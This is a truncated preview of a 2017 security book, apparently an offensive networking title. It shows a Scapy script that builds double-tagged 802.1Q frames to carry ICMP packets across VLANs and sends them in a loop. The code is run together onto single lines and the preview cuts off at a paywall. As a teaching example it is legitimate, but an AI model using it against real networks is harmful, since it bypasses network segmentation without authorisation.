November 2017
Intermediate to advanced
226 pages
5h 59m
English
Here are the steps to simulate a simple VLAN hopping attack:
import time from scapy.all import * iface = "en0" our_vlan = 1 target_vlan = 2 target_ip = '192.168.1.2'
ether = Ether() dot1q1 = Dot1Q(vlan=our_vlan) # vlan tag 1 dot1q2 = Dot1Q(vlan=target_vlan) # vlan tag 2 ip = IP(dst=target_ip) icmp = ICMP() packet = ether/dot1q1/dot1q2/ip/icmp
The packet will be as follows:

try:
while True:
sendp(packet, iface=iface)
time.sleep(10)
except ...Read now
Unlock full access